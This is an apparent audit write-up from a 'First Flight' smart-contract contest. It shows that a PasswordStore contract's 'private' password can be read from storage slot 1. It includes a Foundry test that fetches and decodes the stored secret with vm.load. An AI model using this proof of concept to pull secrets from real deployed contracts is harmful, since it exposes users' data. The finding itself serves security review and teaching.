First Flight #1: PasswordStore

The whole protocol's idea fails because every smart contract's storage from the blockchain can be seen by anyone if they know the slot where the important data is stored

Using private means the state variable is accessible only within the contract in which it is defined

[ PoC ]

s_password state variable in PasswordStore uses slot 1

Using vm.load in foundry, we can fetch data from a specific slot

///////////////////////////// CODE //////////////////////////////////

import {PasswordStore} from " UPDATE PATH ";

contract ContractTest is Test {

PasswordStore ____PasswordStore____ ;



address DEPLOYER = address(this) ;

address ATTACKER = makeAddr( "ATTACKER" ) ;



function setUp() public {


		vm.startPrank(   DEPLOYER   );


			____PasswordStore____ = new PasswordStore();


		vm.stopPrank();


}






function test____1() public {




    // , Initialize the arguments used in the functions 

    string memory secretPassword = "hackingIsLove123" ;





    // , Set the `` s_password `` 

    vm.startPrank(   DEPLOYER   );


            ____PasswordStore____.setPassword( secretPassword );


    vm.stopPrank();







    // , Here we will fetch the data stored on `` slot 1 `` which is  `` s_password `` 

    bytes32 slot1 = vm.load(address(____PasswordStore____), bytes32(uint256(1)));



    string memory a = toString(slot1);




    // ^^^ 
        console.log(   "\n"   );  


        console.log(   unicode" 🍌 "    ,    " slot1 "    ,    unicode" 🍌 "   );
        console.log(   ""   );
        console.log(   a   );  
        console.log(   ""   );


        console.log(   "\n"   );  
    // ^^^ 





}



function toString(bytes32 source)
    internal
    pure
    returns (string memory result)
{
 
 
        uint8 length = 0;
        while (source[length] != 0 && length < 32) {
            length++;
        }
        assembly {
            result := mload(0x40)
            // new "memory end" including padding (the string isn't larger than 32 bytes)
            mstore(0x40, add(result, 0x40))
            // store length in memory
            mstore(result, length)
            // write actual data
            mstore(add(result, 0x20), source)
        }
    

}

}

/////////////////////////////////////////////////////////////////////////////

Use -vv in the forge test ... command !